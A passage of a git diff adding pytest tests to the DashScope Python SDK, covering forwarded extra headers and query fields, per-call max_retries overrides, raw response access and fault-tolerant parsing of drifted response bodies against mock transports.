_Capture(_JOB_DONE) + client = _client(cap) + job = client.images.generate( + model="wan2.2-t2i-flash", + prompt="a cat", + extra_headers={"X-Experiment": "on"}, + ) + assert job.succeeded + assert cap.requests + assert all(r.headers["x-experiment"] == "on" for r in cap.requests) + + +def test_multimodal_embeddings_create_forwards_all_three_extras(): + cap = _Capture(_EMBEDDINGS_BODY) + client = _client(cap) + result = client.multimodal.embeddings.create( + model="multimodal-embedding-v1", + input={"text": "hello"}, + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + extra_body={"parameters": {"dimension": 8}}, + ) + assert result.embeddings[0].index == 0 + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query() == {"beta": "true"} + assert cap.sent_json()["parameters"]["dimension"] == 8 + + +@pytest.mark.asyncio +async def test_async_images_jobs_list_forwards_extras(): + cap = _Capture(_JOB_LIST_BODY) + client = _async_client(cap) + result = await client.images.jobs.list( + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert result.total_count == 0 + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query()["beta"] == "true" + await client.aclose() + + +@pytest.mark.asyncio +async def test_async_multimodal_embeddings_create_forwards_extras(): + cap = _Capture(_EMBEDDINGS_BODY) + client = _async_client(cap) + result = await client.multimodal.embeddings.create( + model="multimodal-embedding-v1", + input={"text": "hello"}, + extra_headers={"X-Experiment": "on"}, + extra_body={"parameters": {"dimension": 8}}, + ) + assert result.embeddings[0].index == 0 + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_json()["parameters"]["dimension"] == 8 + await client.aclose() + + +# -------------------------------------------------------------------------- +# Nothing changes for callers that do not use the escape hatch +# -------------------------------------------------------------------------- + + +def test_call_without_extras_sends_the_same_request_as_before(): + cap = _Capture(_MODELS_BODY) + client = _client(cap) + client.models.list(page_no=1, page_size=3) + assert cap.sent_query() == {"page_no": "1", "page_size": "3"} + assert "x-experiment" not in cap.last.headers + assert cap.last.headers["authorization"] == "Bearer sk-test" + + +# -------------------------------------------------------------------------- +# max_retries: one override per call, forwarded by every resource +# -------------------------------------------------------------------------- + +_DEPLOYMENT_BODY = { + "request_id": "r", + "output": { + "deployed_model": "dep-1", + "model_name": "qwen-turbo", + "status": "RUNNING", + }, +} +_DEPLOYMENTS_LIST_BODY = { + "request_id": "r", + "output": { + "page_no": 1, + "page_size": 10, + "total": 1, + "deployments": [_DEPLOYMENT_BODY["output"]], + }, +} +_FINE_TUNE_BODY = { + "request_id": "r", + "output": {"job_id": "ft-1", "status": "SUCCEEDED"}, +} +_FINE_TUNE_LIST_BODY = { + "request_id": "r", + "output": {"page_no": 1, "page_size": 10, "total": 0, "jobs": []}, +} +_RERANK_BODY = { + "request_id": "r", + "output": {"results": [{"index": 0, "relevance_score": 0.9}]}, + "usage": {"total_tokens": 3}, +} +_TOKENIZATION_BODY = {"request_id": "r", "usage": {"input_tokens": 7}} +_TINGWU_BODY = {"request_id": "r", "output": {"TaskId": "t-1"}} +_APPS_BODY = { + "request_id": "r", + "output": {"text": "hi", "finish_reason": "stop"}, +} +_DECISION_BODY = { + "model": "decision-model-preview", + "request_id": "r", + "answers": {"escalate": {"type": "noul", "noul": 0.9}}, +} +# Multimodal answers carry list-form content, unlike the chat endpoint. +_MULTIMODAL_CHAT_BODY = { + "request_id": "r", + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": { + "role": "assistant", + "content": [{"text": "hi"}], + }, + }, + ], + }, +} +_PHRASES_BODY = { + "request_id": "r", + "output": { + "jobs": [{"job_id": "p-1", "status": "SUCCEEDED"}], + "total": 1, + }, +} +_VOCABULARIES_BODY = {"request_id": "r", "output": {}} +_TTS_BODY = { + "request_id": "r", + "output": {"audio": {"url": "https://cdn.test/a.wav"}}, +} + +_ERROR_BODY = {"request_id": "r", "code": "InternalError", "message": "boom"} + + +class _FlakyCapture: + """Fails the first attempt with a retryable 500, then answers ``body``.""" + + def __init__(self, body=None, content=None, headers=None): + self._body = body + self._content = content + self._headers = dict(headers or {}) + self.calls = 0 + + def __call__(self, request: httpx.Request) -> httpx.Response: + self.calls += 1 + if self.calls == 1: + return httpx.Response(500, json=_ERROR_BODY) + if self._content is not None: + return httpx.Response( + 200, + content=self._content, + headers=self._headers, + ) + return httpx.Response(200, json=self._body, headers=self._headers) + + +class _ScriptedCapture: + """Answers a scripted ``[(status, body), ...]``, repeating the last.""" + + def __init__(self, script): + self._script = list(script) + self.calls = 0 + + def __call__(self, request: httpx.Request) -> httpx.Response: + status, body = self._script[min(self.calls, len(self._script) - 1)] + self.calls += 1 + return httpx.Response( + status, + json=_ERROR_BODY if body is None else body, + ) + + +@pytest.fixture +def no_sleep(monkeypatch): + """Retry backoff must not make these tests actually wait.""" + sleeps = [] + monkeypatch.setattr(transport_http, "_sleep", sleeps.append) + + async def _asleep(seconds): + sleeps.append(seconds) + + monkeypatch.setattr(transport_http, "_asleep", _asleep) + return sleeps + + +# Every resource method that routes its own request, with the body that makes +# it succeed. A row here is the only thing that catches a method accepting +# ``max_retries`` and then dropping it on the way to the transport. +_OPTION_CASES = [ + ("models.list", lambda c, **kw: c.models.list(**kw), _MODELS_BODY), + ("files.list", lambda c, **kw: c.files.list(**kw), _FILES_BODY), + ( + "embeddings.create", + lambda c, **kw: c.embeddings.create( + model="text-embedding-v4", + input=["hello"], + **kw, + ), + _EMBEDDINGS_BODY, + ), + ( + "embeddings.jobs.create", + lambda c, **kw: c.embeddings.jobs.create( + model="text-embedding-v4", + file_url="https://example.test/in.jsonl", + **kw, + ), + _JOB_PENDING, + ), + ( + "embeddings.jobs.fetch", + lambda c, **kw: c.embeddings.jobs.fetch("t-1", **kw), + _JOB_DONE, + ), + ( + "embeddings.jobs.list", + lambda c, **kw: c.embeddings.jobs.list(**kw), + _JOB_LIST_BODY, + ), + ( + "chat.completions.create", + lambda c, **kw: c.chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + **kw, + ), + _CHAT_BODY, + ), + ( + "images.jobs.create", + lambda c, **kw: c.images.jobs.create( + model="wan2.2-t2i-flash", + prompt="a cat", + **kw, + ), + _JOB_PENDING, + ), + ( + "images.jobs.list", + lambda c, **kw: c.images.jobs.list(**kw), + _JOB_LIST_BODY, + ), + ( + "videos.jobs.list", + lambda c, **kw: c.videos.jobs.list(**kw), + _JOB_LIST_BODY, + ), + ( + "multimodal.embeddings.create", + lambda c, **kw: c.multimodal.embeddings.create( + model="multimodal-embedding-v1", + input={"text": "hello"}, + **kw, + ), + _EMBEDDINGS_BODY, + ), + ( + "multimodal.chat.create", + lambda c, **kw: c.multimodal.chat.create( + model="qwen-vl-max", + messages=[{"role": "user", "content": [{"text": "hi"}]}], + **kw, + ), + _MULTIMODAL_CHAT_BODY, + ), + ( + "deployments.get", + lambda c, **kw: c.deployments.get("dep-1", **kw), + _DEPLOYMENT_BODY, + ), + ( + "deployments.list", + lambda c, **kw: c.deployments.list(**kw), + _DEPLOYMENTS_LIST_BODY, + ), + ( + "fine_tunes.get", + lambda c, **kw: c.fine_tunes.get("ft-1", **kw), + _FINE_TUNE_BODY, + ), + ( + "fine_tunes.list", + lambda c, **kw: c.fine_tunes.list(**kw), + _FINE_TUNE_LIST_BODY, + ), + ( + "rl.jobs.fetch", + lambda c, **kw: c.rl.jobs.fetch("ft-1", **kw), + _FINE_TUNE_BODY, + ), + ( + "rerank.create", + lambda c, **kw: c.rerank.create( + model="gte-rerank-v2", + query="q", + documents=["a", "b"], + **kw, + ), + _RERANK_BODY, + ), + ( + "tokenization.count", + lambda c, **kw: c.tokenization.count( + model="qwen-plus", + prompt="hello world", + **kw, + ), + _TOKENIZATION_BODY, + ), + ( + "tingwu.call", + lambda c, **kw: c.tingwu.call( + model="tingwu-turbo", + input={"source_language": "cn", "task": "summarization"}, + **kw, + ), + _TINGWU_BODY, + ), + ( + "apps.completions.create", + lambda c, **kw: c.apps.completions.create( + app_id="app-1", + prompt="hi", + **kw, + ), + _APPS_BODY, + ), + ( + "decision.create", + lambda c, **kw: c.decision.create( + model="decision-model-preview", + state="text", + questions={"escalate": {"type": "noul", "instructions": "?"}}, + **kw, + ), + _DECISION_BODY, + ), + ( + "audio.asr.jobs.fetch", + lambda c, **kw: c.audio.asr.jobs.fetch("t-1", **kw), + _JOB_DONE, + ), + ( + "audio.phrases.list", + lambda c, **kw: c.audio.phrases.list(**kw), + _PHRASES_BODY, + ), + ( + "audio.vocabularies.list", + lambda c, **kw: c.audio.vocabularies.list(prefix="med", **kw), + _VOCABULARIES_BODY, + ), + ( + "audio.tts.http.synthesize", + lambda c, **kw: c.audio.tts.http.synthesize( + "你好", + model="qwen-audio-3.1-tts-flash", + voice="longanfengyue_v3.1", + **kw, + ), + _TTS_BODY, + ), +] + +_IDS = [case[0] for case in _OPTION_CASES] +_PARAMS = [case[1:] for case in _OPTION_CASES] + + +@pytest.mark.parametrize("call, body", _PARAMS, ids=_IDS) +def test_every_resource_forwards_the_extras(call, body): + cap = _Capture(body) + client = _client(cap) + call( + client, + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query()["beta"] == "true" + + +@pytest.mark.parametrize("call, body", _PARAMS, ids=_IDS) +def test_max_retries_zero_stops_after_one_attempt(call, body, no_sleep): + cap = _FlakyCapture(body) + client = _client(cap) + with pytest.raises(DashScopeError): + call(client, max_retries=0) + assert cap.calls == 1 + assert not no_sleep + + +@pytest.mark.parametrize("call, body", _PARAMS, ids=_IDS) +def test_max_retries_override_retries_the_failed_call(call, body, no_sleep): + # The client is built with no retry budget of its own, so a resource that + # accepted ``max_retries`` and then dropped it could not reach 2 attempts. + cap = _FlakyCapture(body) + client = _client(cap, max_retries=0) + call(client, max_retries=2) + assert cap.calls == 2 + assert len(no_sleep) == 1 + + +def test_without_max_retries_the_client_default_applies(no_sleep): + # The override narrows *and* widens, so the baseline has to be pinned + # too: a resource that forwarded a hardcoded budget would pass both + # parametrized tests above. + cap = _FlakyCapture(_MODELS_BODY) + client = _client(cap, max_retries=0) + with pytest.raises(DashScopeError): + client.models.list() + assert cap.calls == 1 + + cap = _FlakyCapture(_MODELS_BODY) + client = _client(cap, max_retries=0) + client.models.list(max_retries=3) + assert cap.calls == 2 + + +def test_streaming_methods_forward_max_retries(no_sleep): + # ``open_stream`` honors options as well, and it may only retry while no + # event has reached the caller yet -- so the first attempt failing with + # 500 is still retryable. + cap = _FlakyCapture( + content=b'data:{"output":{"text":"hi"},"request_id":"r"}\n\n', + headers={"content-type": "text/event-stream"}, + ) + client = _client(cap, max_retries=0) + stream = client.chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + stream=True, + max_retries=2, + ) + assert cap.calls == 2 + stream.close() + + +def test_jobs_wait_forwards_max_retries_to_the_first_poll(no_sleep): + cap = _FlakyCapture(_JOB_DONE) + client = _client(cap, max_retries=0) + job = client.embeddings.jobs.wait( + "t-1", + max_retries=2, + _sleep=lambda seconds: None, + ) + assert job.succeeded + assert cap.calls == 2 + + +def test_jobs_wait_forwards_max_retries_to_every_later_poll(no_sleep): + # The failure is on the *second* fetch: a forward dropped inside the poll + # loop is a silent no-op, and only a mid-loop failure can reveal it. + script = [(200, _JOB_PENDING), (500, None), (200, _JOB_DONE)] + + cap = _ScriptedCapture(script) + client = _client(cap, max_retries=0) + job = client.embeddings.jobs.wait( + "t-1", + max_retries=1, + _sleep=lambda seconds: None, + ) + assert job.succeeded + assert cap.calls == 3 + + cap = _ScriptedCapture(script) + client = _client(cap) + with pytest.raises(DashScopeError): + client.embeddings.jobs.wait( + "t-1", + max_retries=0, + _sleep=lambda seconds: None, + ) + assert cap.calls == 2 + + +def test_fine_tunes_wait_forwards_max_retries_to_every_poll(no_sleep): + script = [(200, _JOB_PENDING), (500, None), (200, _FINE_TUNE_BODY)] + + cap = _ScriptedCapture(script) + client = _client(cap, max_retries=0) + job = client.fine_tunes.wait("ft-1", max_retries=1, _sleep=lambda s: None) + assert job.status == "SUCCEEDED" + assert cap.calls == 3 + + cap = _ScriptedCapture(script) + client = _client(cap) + with pytest.raises(DashScopeError): + client.fine_tunes.wait("ft-1", max_retries=0, _sleep=lambda s: None) + assert cap.calls == 2 + + +def test_pagination_iterators_forward_max_retries_to_later_pages(no_sleep): + # ``bind_pagination`` builds the next-page call in a closure, so a + # dropped forward there only shows up on page two. + page_one = { + "request_id": "r", + "output": { + "page_no": 1, + "page_size": 1, + "total": 2, + "models": [{"model": "qwen-plus", "source": "dashscope"}], + }, + } + page_two = { + "request_id": "r", + "output": { + "page_no": 2, + "page_size": 1, + "total": 2, + "models": [{"model": "qwen-max", "source": "dashscope"}], + }, + } + script = [(200, page_one), (500, None), (200, page_two)] + + cap = _ScriptedCapture(script) + client = _client(cap, max_retries=0) + listed = client.models.list(page_size=1, max_retries=1) + # ``iter_pages`` is what crosses pages; ``__iter__`` stays on this one. + walked = [m.model for page in listed.iter_pages() for m in page] + assert walked == ["qwen-plus", "qwen-max"] + assert cap.calls == 3 + + cap = _ScriptedCapture(script) + client = _client(cap, max_retries=0) + with pytest.raises(DashScopeError): + list(client.models.list(page_size=1).iter_pages()) + assert cap.calls == 2 + + +# -------------------------------------------------------------------------- +# async twins: the same forwarding, on the paths that differ structurally +# -------------------------------------------------------------------------- + +_ASYNC_OPTION_CASES = [ + ("models.list", lambda c, **kw: c.models.list(**kw), _MODELS_BODY), + ( + "deployments.list", + lambda c, **kw: c.deployments.list(**kw), + _DEPLOYMENTS_LIST_BODY, + ), + ( + "fine_tunes.get", + lambda c, **kw: c.fine_tunes.get("ft-1", **kw), + _FINE_TUNE_BODY, + ), + ( + "chat.completions.create", + lambda c, **kw: c.chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + **kw, + ), + _CHAT_BODY, + ), + ( + "multimodal.chat.create", + lambda c, **kw: c.multimodal.chat.create( + model="qwen-vl-max", + messages=[{"role": "user", "content": [{"text": "hi"}]}], + **kw, + ), + _MULTIMODAL_CHAT_BODY, + ), + ( + "audio.tts.http.synthesize", + lambda c, **kw: c.audio.tts.http.synthesize( + "你好", + model="qwen-audio-3.1-tts-flash", + voice="longanfengyue_v3.1", + **kw, + ), + _TTS_BODY, + ), +] + + +@pytest.mark.asyncio +@pytest.mark.parametrize( + "call, body", + [case[1:] for case in _ASYNC_OPTION_CASES], + ids=[case[0] for case in _ASYNC_OPTION_CASES], +) +async def test_async_resources_forward_the_extras(call, body): + cap = _Capture(body) + client = _async_client(cap) + await call( + client, + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query()["beta"] == "true" + await client.aclose() + + +@pytest.mark.asyncio +@pytest.mark.parametrize( + "call, body", + [case[1:] for case in _ASYNC_OPTION_CASES], + ids=[case[0] for case in _ASYNC_OPTION_CASES], +) +async def test_async_max_retries_zero_stops_after_one_attempt( + call, + body, + no_sleep, +): + cap = _FlakyCapture(body) + client = _async_client(cap) + with pytest.raises(DashScopeError): + await call(client, max_retries=0) + assert cap.calls == 1 + await client.aclose() + + +@pytest.mark.asyncio +@pytest.mark.parametrize( + "call, body", + [case[1:] for case in _ASYNC_OPTION_CASES], + ids=[case[0] for case in _ASYNC_OPTION_CASES], +) +async def test_async_max_retries_override_retries_the_call( + call, + body, + no_sleep, +): + cap = _FlakyCapture(body) + client = _async_client(cap, max_retries=0) + await call(client, max_retries=2) + assert cap.calls == 2 + assert len(no_sleep) == 1 + await client.aclose() diff --git a/tests/test_response.py b/tests/test_response.py new file mode 100644 index 00000000..9fde401e --- /dev/null +++ b/tests/test_response.py @@ -0,0 +1,354 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Tests for APIResponse + raw response access (T5 pilot).""" + +from __future__ import annotations + +from datetime import timedelta +from typing import Any, Dict + +import httpx +import pytest +from pydantic import BaseModel + +from dashscope import AsyncClient, Client +from dashscope.errors import DashScopeError +from dashscope.resources._jobs import JobList +from dashscope.resources.embeddings import EmbeddingResponse +from dashscope.resources.files import FileList +from dashscope.resources.models import ModelList +from dashscope.transport import APIResponse +from dashscope.types.common import ResponseBase + +BASE_URL = "https://api.test.local/api/v1" + + +def _make_client(handler, **kwargs): + mock = httpx.MockTransport(handler) + http_client = httpx.Client(transport=mock, base_url=BASE_URL) + kwargs.setdefault("base_url", BASE_URL) + return Client(api_key="sk-test", http_client=http_client, **kwargs) + + +def _make_async_client(handler, **kwargs): + mock = httpx.MockTransport(handler) + http_client = httpx.AsyncClient(transport=mock, base_url=BASE_URL) + kwargs.setdefault("base_url", BASE_URL) + return AsyncClient(api_key="sk-test", http_client=http_client, **kwargs) + + +class ProbeA(ResponseBase): + """Plain probe model for parse() memoization tests.""" + + +class ProbeB(ResponseBase): + """A second, distinct type so per-type caching is observable.""" + + +def _models_body(total: int = 1) -> Dict[str, Any]: + return { + "request_id": "body-id", + "output": { + "models": [{"model": f"m{i}"} for i in range(total)], + "page_no": 1, + "page_size": 10, + "total": total, + }, + } + + +def _models_handler(body=None, headers=None): + payload = body if body is not None else _models_body() + + def handler(request): + return httpx.Response(200, json=payload, headers=headers or {}) + + return handler + + +def _embeddings_handler(): + def handler(request): + return httpx.Response( + 200, + json={ + "request_id": "emb-id", + "output": { + "embeddings": [{"index": 0, "embedding": [0.1, 0.2]}], + }, + "usage": {"total_tokens": 2}, + }, + headers={"x-request-id": "emb-header-id"}, + ) + + return handler + + +# --- raw access ----------------------------------------------------------- + + +def test_raw_returns_apiresponse_and_skips_error_check(): + error_body = { + "code": "InvalidApiKey", + "message": "bad key", + "request_id": "e", + } + client = _make_client( + _models_handler(body=error_body, headers={"x-request-id": "e"}), + ) + + resp = client.models.list(raw=True) + # raw=True returns before check_response, so the business error is not raised. + assert isinstance(resp, APIResponse) + assert resp.status_code == 200 + assert resp.request_id == "e" + assert resp.json()["code"] == "InvalidApiKey" + + +def test_non_raw_raises_on_business_error(): + error_body = { + "code": "InvalidApiKey", + "message": "bad key", + "request_id": "e", + } + client = _make_client(_models_handler(body=error_body)) + + with pytest.raises(DashScopeError): + client.models.list() + + +def test_raw_gives_access_to_http_response_and_elapsed(): + client = _make_client(_models_handler()) + resp = client.models.list(raw=True) + assert isinstance(resp, APIResponse) + assert isinstance(resp.http_response, httpx.Response) + # elapsed does not raise even on a mock transport that never set it. + assert resp.elapsed is None or isinstance(resp.elapsed, timedelta) + assert isinstance(resp.headers, dict) + + +# --- request_id ----------------------------------------------------------- + + +def test_request_id_prefers_header(): + body = {"request_id": "body-id", "output": {"models": [], "total": 0}} + client = _make_client( + _models_handler(body=body, headers={"x-request-id": "header-id"}), + ) + resp = client.models.list(raw=True) + assert resp.request_id == "header-id" + + +def test_request_id_body_fallback(): + body = {"request_id": "body-id", "output": {"models": [], "total": 0}} + client = _make_client(_models_handler(body=body)) + resp = client.models.list(raw=True) + assert resp.request_id == "body-id" + + +def test_request_id_output_fallback(): + body = {"output": {"request_id": "out-id", "models": [], "total": 0}} + client = _make_client(_models_handler(body=body)) + resp = client.models.list(raw=True) + assert resp.request_id == "out-id" + + +# --- parse() -------------------------------------------------------------- + + +def test_parse_none_returns_body(): + client = _make_client(_models_handler()) + resp = client.models.list(raw=True) + assert resp.parse() == _models_body() + + +def test_parse_is_memoized_per_type(): + client = _make_client(_models_handler()) + resp = client.models.list(raw=True) + + first = resp.parse(ProbeA) + second = resp.parse(ProbeA) + assert first is second + + other = resp.parse(ProbeB) + assert other is not first + assert isinstance(other, ProbeB) + # Each type stays independently cached. + assert resp.parse(ProbeA) is first + assert resp.parse(ProbeB) is other + + +def test_parse_attaches_headers(): + client = _make_client( + _models_handler(headers={"x-request-id": "h", "x-custom": "v"}), + ) + resp = client.models.list(raw=True) + parsed = resp.parse(ProbeA) + # with_headers copies the raw response headers onto the parsed model. + assert parsed.headers["x-custom"] == "v" + assert parsed.headers["x-request-id"] == "h" + # The model's request_id comes from the body, not the header. + assert parsed.request_id == "body-id" + + +# --- parse() unwrapping --------------------------------------------------- + + +def _api_response(body, headers=None): + """An ``APIResponse`` over a body, without going through a client.""" + return APIResponse( + httpx.Response(200, json=body, headers=headers or {}), + ) + + +def test_parse_lifts_the_output_envelope_into_the_model(): + # Public models describe the payload, not the wrapper. Without the lift + # validation still succeeds -- every field has a default -- and the + # caller gets a silently empty page. + client = _make_client(_models_handler()) + page = client.models.list(raw=True).parse(ModelList) + assert [m.model for m in page] == ["m0"] + assert page.request_id == "body-id" + + +def test_parse_reads_the_wire_total_as_total_count(): + # The wire spells it ``total``; without the alias the page reads a zero + # total and has_next_page() stops traversal after the first page. + resp = _api_response( + { + "request_id": "r", + "output": { + "models": [{"model": "m0"}, {"model": "m1"}], + "page_no": 1, + "page_size": 2, + "total": 5, + }, + }, + ) + page = resp.parse(ModelList) + assert page.total_count == 5 + assert page.has_next_page() is True + + +def test_parse_lifts_the_data_envelope_too(): + resp = _api_response( + { + "request_id": "f-id", + "data": { + "files": [{"file_id": "f1"}], + "page_no": 1, + "page_size": 10, + "total": 1, + }, + }, + ) + page = resp.parse(FileList) + assert [f.file_id for f in page] == ["f1"] + assert page.total_count == 1 + assert page.request_id == "f-id" + + +def test_parse_leaves_an_already_flat_body_alone(): + # jobs.list answers flat; there is nothing to lift, so the body is used + # as-is rather than being mistaken for an empty envelope. + resp = _api_response( + { + "request_id": "j-id", + "tasks": [{"task_id": "t1", "task_status": "SUCCEEDED"}], + "page_no": 1, + "page_size": 10, + "total": 1, + }, + ) + page = resp.parse(JobList) + assert [t.task_id for t in page] == ["t1"] + assert page.total_count == 1 + + +def test_parse_rejects_a_model_that_cannot_carry_headers(): + class Plain(BaseModel): + x: int = 0 + + resp = _api_response({"x": 1}) + # Failing here names the reason; failing inside with_headers would only + # say that "Plain" has no field "headers". + with pytest.raises(TypeError, match="ResponseBase"): + resp.parse(Plain) + + +# --- non-raw paths unchanged --------------------------------------------- + + +def test_models_list_non_raw_returns_modellist_with_headers(): + client = _make_client( + _models_handler( + body={ + "request_id": "r", + "output": { + "models": [{"model": "m0"}, {"model": "m1"}], + "page_no": 1, + "page_size": 2, + "total": 4, + }, + }, + headers={"x-request-id": "r"}, + ), + ) + page = client.models.list(page_no=1, page_size=2) + assert isinstance(page, ModelList) + assert not isinstance(page, APIResponse) + assert page.headers["x-request-id"] == "r" + assert page.request_id == "r" + # Pagination still traverses after the migration. + assert page.has_next_page() is True + assert page.next_page() is not None + + +def test_embeddings_create_non_raw_returns_response(): + client = _make_client(_embeddings_handler()) + result = client.embeddings.create(model="text-embedding-v4", input="hi") + assert isinstance(result, EmbeddingResponse) + assert len(result.embeddings) == 1 + assert result.headers["x-request-id"] == "emb-header-id" + + +def test_embeddings_create_raw_returns_apiresponse(): + client = _make_client(_embeddings_handler()) + resp = client.embeddings.create( + model="text-embedding-v4", + input="hi", + raw=True, + ) + assert isinstance(resp, APIResponse) + assert resp.request_id == "emb-header-id" + assert resp.json()["output"]["embeddings"][0]["index"] == 0 + + +# --- async ---------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_async_raw_and_parse(): + client = _make_async_client( + _models_handler(headers={"x-request-id": "async-id"}), + ) + resp = await client.models.list(raw=True) + assert isinstance(resp, APIResponse) + assert resp.request_id == "async-id" + assert resp.parse(ProbeA) is resp.parse(ProbeA) + + +@pytest.mark.asyncio +async def test_async_non_raw_returns_modellist(): + client = _make_async_client(_models_handler()) + page = await client.models.list() + assert isinstance(page, ModelList) + assert [m.model for m in page] == ["m0"] + + +@pytest.mark.asyncio +async def test_async_raw_skips_error_check(): + error_body = {"code": "InvalidApiKey", "message": "bad", "request_id": "e"} + client = _make_async_client(_models_handler(body=error_body)) + resp = await client.models.list(raw=True) + assert isinstance(resp, APIResponse) + assert resp.status_code == 200 diff --git a/tests/test_response_drift.py b/tests/test_response_drift.py new file mode 100644 index 00000000..f3522e00 --- /dev/null +++ b/tests/test_response_drift.py @@ -0,0 +1,1192 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""End-to-end tests for fault-tolerant response parsing (T2). + +These drive a real ``Client`` against a mock transport, so they cover the +whole path -- protocol adapter, ``parse_model``, the streaming wrapper and +the resource parse helpers -- rather than the model layer alone. The unit +behaviour of the salvage algorithm lives in ``tests/test_parse_model.py``. +""" + +# Mock handlers intentionally ignore the request argument. +# pylint: disable=unused-argument + +from __future__ import annotations + +import json +import logging + +import httpx +import pytest +from pydantic import BaseModel, ValidationError + +from dashscope import AsyncClient, Client +from dashscope.errors import APIResponseValidationError, DashScopeError +from dashscope.resources._jobs import Jobs +from dashscope.transport.sse import AsyncStream, Stream + +BASE_URL = "https://api.test.local/api/v1" + +# The drift under test: ``usage`` retyped from an object to a string. It is +# the shape that originally escaped as a bare pydantic ValidationError. +NATIVE_DRIFT_BODY = { + "request_id": "r-drift", + "output": {"text": "hi"}, + "usage": "unlimited", +} +OPENAI_DRIFT_BODY = { + "id": "chatcmpl-drift", + "model": "qwen-plus", + "choices": [ + { + "index": 0, + "message": {"role": "assistant", "content": "hi"}, + "finish_reason": "stop", + }, + ], + "usage": "unlimited", +} +ANTHROPIC_DRIFT_BODY = { + "id": "msg-drift", + "model": "claude-x", + "content": [{"type": "text", "text": "hi"}], + "usage": "unlimited", +} + + +def _make_client(handler, **kwargs): + mock = httpx.MockTransport(handler) + http_client = httpx.Client(transport=mock, base_url=BASE_URL) + kwargs.setdefault("base_url", BASE_URL) + return Client(api_key="sk-test", http_client=http_client, **kwargs) + + +def _make_async_client(handler, **kwargs): + mock = httpx.MockTransport(handler) + http_client = httpx.AsyncClient(transport=mock, base_url=BASE_URL) + kwargs.setdefault("base_url", BASE_URL) + return AsyncClient(api_key="sk-test", http_client=http_client, **kwargs) + + +def _sse(events): + out = [] + for index, data in enumerate(events, 1): + payload = data if isinstance(data, str) else json.dumps(data) + out.append(f"id: {index}\ndata: {payload}\n\n") + return "".join(out) + + +def _json_response(body): + return httpx.Response(200, json=body) + + +def _drift_records(caplog): + return [r for r in caplog.records if "response drift" in r.getMessage()] + + +# --------------------------------------------------------------------------- +# every protocol degrades a drifted body instead of raising +# --------------------------------------------------------------------------- + + +def test_native_chat_degrades_a_drifted_usage(caplog): + client = _make_client(lambda request: _json_response(NATIVE_DRIFT_BODY)) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + completion = client.chat.completions.create( + model="qwen-plus", + messages="hi", + ) + assert completion.output_text == "hi" + assert completion.request_id == "r-drift" + assert completion.usage is None + assert not completion.is_error + assert _drift_records(caplog), "degradation must be logged" + + +def test_openai_chat_degrades_a_drifted_usage(caplog): + client = _make_client( + lambda request: _json_response(OPENAI_DRIFT_BODY), + protocol="openai", + ) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + completion = client.chat.completions.create( + model="qwen-plus", + messages="hi", + ) + assert completion.output_text == "hi" + assert completion.usage is None + assert _drift_records(caplog) + + +def test_anthropic_chat_degrades_a_drifted_usage(caplog): + client = _make_client( + lambda request: _json_response(ANTHROPIC_DRIFT_BODY), + protocol="anthropic", + ) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + completion = client.chat.completions.create( + model="claude-x", + messages="hi", + ) + assert completion.output_text == "hi" + assert completion.usage is None + assert _drift_records(caplog) + + +def test_a_clean_body_still_parses_and_logs_nothing(caplog): + body = dict(NATIVE_DRIFT_BODY) + body["usage"] = {"input_tokens": 1, "output_tokens": 2} + client = _make_client(lambda request: _json_response(body)) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + completion = client.chat.completions.create( + model="qwen-plus", + messages="hi", + ) + assert completion.usage.input_tokens == 1 + assert completion.usage.output_tokens == 2 + assert not _drift_records(caplog) + + +# --------------------------------------------------------------------------- +# strict mode: the drift becomes an error the caller can catch +# --------------------------------------------------------------------------- + + +def test_strict_validation_raises_an_error_a_caller_can_catch(caplog): + # The acceptance criterion for the whole feature: with the flag on, a + # drifted body surfaces inside ``except DashScopeError`` rather than as + # a pydantic ValidationError the caller has no reason to import. + client = _make_client( + lambda request: _json_response(NATIVE_DRIFT_BODY), + strict_validation=True, + ) + caught = None + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + try: + client.chat.completions.create(model="qwen-plus", messages="hi") + except DashScopeError as exc: + caught = exc + assert isinstance(caught, APIResponseValidationError) + assert isinstance(caught.cause, ValidationError) + assert caught.body["usage"] == "unlimited" + # The chat path parses a dict built from the body, not the response + # object, so the request id is recovered from the payload instead. + assert caught.request_id == "r-drift" + assert _drift_records(caplog) + + +# One drifted body per wire format, with the model name its adapter expects. +_DRIFT_CASES = [ + ("native", NATIVE_DRIFT_BODY, "qwen-plus"), + ("openai", OPENAI_DRIFT_BODY, "qwen-plus"), + ("anthropic", ANTHROPIC_DRIFT_BODY, "claude-x"), +] + + +@pytest.mark.parametrize("protocol, body, model", _DRIFT_CASES) +def test_strict_validation_applies_to_every_protocol(protocol, body, model): + client = _make_client( + lambda request: _json_response(body), + protocol=protocol, + strict_validation=True, + ) + with pytest.raises(APIResponseValidationError): + client.chat.completions.create(model=model, messages="hi") + + +def test_strict_validation_raises_even_under_raise_on_error_false(): + # Deliberate: the flag is an explicit opt-in for contract testing and is + # orthogonal to the compat mode, which governs *service* errors only. + client = _make_client( + lambda request: _json_response(NATIVE_DRIFT_BODY), + strict_validation=True, + raise_on_error=False, + ) + with pytest.raises(APIResponseValidationError): + client.chat.completions.create(model="qwen-plus", messages="hi") + + +# --------------------------------------------------------------------------- +# streaming: one bad event must not end the iteration +# --------------------------------------------------------------------------- + + +_CHUNKED_EVENTS = [ + { + "id": "c-drift", + "choices": [ + {"index": 0, "delta": 